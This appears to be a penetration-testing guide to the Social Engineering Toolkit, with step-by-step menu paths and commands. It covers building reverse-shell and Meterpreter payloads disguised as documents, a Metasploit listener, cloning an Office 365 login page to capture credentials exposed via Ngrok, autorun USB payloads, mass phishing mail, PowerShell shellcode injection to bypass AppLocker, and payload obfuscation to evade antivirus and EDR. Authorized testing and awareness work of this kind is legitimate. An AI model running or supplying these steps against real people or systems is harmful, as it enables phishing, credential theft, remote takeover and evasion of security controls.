Social Engineering Toolkit (SET) (Social Engineering Tool)

Social Engineering Toolkit (SET) Tool

The Social Engineering Toolkit (SET) is built into Kali Linux and automates many social engineering attack vectors. Let's walk through setup and the most useful modules for an authorized engagement. This is a(n) article / guide on the social engineering toolkit (SET) tool.

Setup & Launch

bash

sudo setoolkit

If not installed:

bash

sudo apt update && sudo apt install set -y

Option 1: Spear-Phishing Attack Vector

Use case: Send a crafted email with a malicious payload or credential harvesting link to specific targets.

Step-by-step:

1. Select 1) Social-Engineering Attacks

2. Select 1) Spear-Phishing Attack Vectors

3. Select 2) Create a FileFormat Payload (if you want an executable/dropper via attachment)

   • Or select 3) Create a Social-Engineering Template (HTML email with embedded link)

4. Choose a payload. 2) Windows Reverse TCP Shell is common, or 3) Windows Meterpreter Reverse TCP for full interactive control

5. SET will generate the payload and ask:

   • IP to connect back to → your listener IP

   • Port → e.g., 4444

   • Filename → something innocent like Q4_Report.pdf.exe or invoice.doc

6. SET will then ask if you want to send the email now:

   • Select 1) E-Mail Attack Single or 2) E-Mail Attack Mass (mass requires a file with target emails)

   • Choose 1) Use a template or 2) Pre-Defined Template or craft your own

   • Enter your sender email (SPF/DMARC can block — use a domain you control or test internally)

   • Enter SMTP server (your own mail server or a test SMTP)

   • Enter the target email and the subject

On the listener side:

Before sending, start Metasploit:

bash

msfconsole
msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set LHOST <your IP>
msf6 > set LPORT 4444
msf6 > exploit -j

When the victim opens the attachment, you get a Meterpreter session.

Option 2: Website Attack Vectors (Credential Harvesting via Cloned Site)

Use case: Clone a legitimate login page (Office 365, Google, VPN portal) and capture credentials.

1. 1) Social-Engineering Attacks

2. 2) Website Attack Vectors

3. 3) Credential Harvester Attack Method

4. 2) Site Cloner

5. Enter the target URL to clone (e.g., https://login.microsoftonline.com)

6. SET starts a web server on port 80 (or 443 if you configured SSL). When the victim visits your URL and logs in, credentials appear in the SET terminal.

For external testing:

• Use port forwarding or Ngrok / Cloudflare Tunnel to expose your local SET server

• Or host SET on a VPS with a public IP

bash

# Example with Ngrok
ngrok http 80

Option 3: Infectious Media Generator

Use case: Create a USB/CD with a autorun payload that triggers when plugged in.

1. 1) Social-Engineering Attacks

2. 3) Infectious Media Generator

3. Select payload type (e.g., Meterpreter reverse TCP)

4. Choose method: 1) File-Format Exploits or 2) Standard Metasploit Executable

5. SET generates an ISO or folder structure. Burn to USB with:

bash

sudo dd if=infectious_media.iso of=/dev/sdb bs=4M status=progress

Option 4: Mass Mailer Attack

Use case: Send bulk phishing emails directly (no payload, just social engineering).

1. 1) Social-Engineering Attacks

2. 5) Mass Mailer Attack

3. 1) E-Mail Attack Single (one target) or 2) E-Mail Attack Mass (list of targets)

4. Choose 1) Use a template (SET has built-in templates for password resets, security alerts, etc.)

5. Configure SMTP and send

Option 5: PowerShell Attack Vectors

Use case: Bypass AppLocker / execution restrictions on Windows.

1. 1) Social-Engineering Attacks

2. 9) Powershell Attack Vectors

3. 1) Alphanumeric Shellcode Injector

4. Choose payload → SET generates a one-liner PS script to inject shellcode

5. Embed in a .ps1 file, macro, or command line

You can also generate it directly:

bash

sudo setoolkit
# Navigate: 1) Social-Engineering Attacks > 9) Powershell Attack Vectors
# Output is a PowerShell command you can paste in an email or CMD

Option 6: Third Party Modules

Less useful standalone, but worth knowing about.

Practical Test Plan Using SET

Test	SET Module	Target	Success Metric
Phishing with attachment	Spear-Phishing + FileFormat	Internal staff email	Meterpreter shell
Credential harvesting	Site Cloner	Office 365 portal	Captured credentials
USB drop test	Infectious Media Generator	Unlocked workstation	Reverse shell
Bulk phishing awareness	Mass Mailer	Multiple staff	Phishing click rate

Important Considerations For Your Report

• SPF / DKIM / DMARC — Most external emails will be flagged/quarantined if spoofing a real domain. Test against that too.

• User awareness training — Document which users clicked, which reported it

• AV / EDR — SET's default payloads are widely signatured. For a realistic test, custom-pack or obfuscate the payload:

bash

# Use Veil or Shellter to evade detection

sudo apt install veil-evasion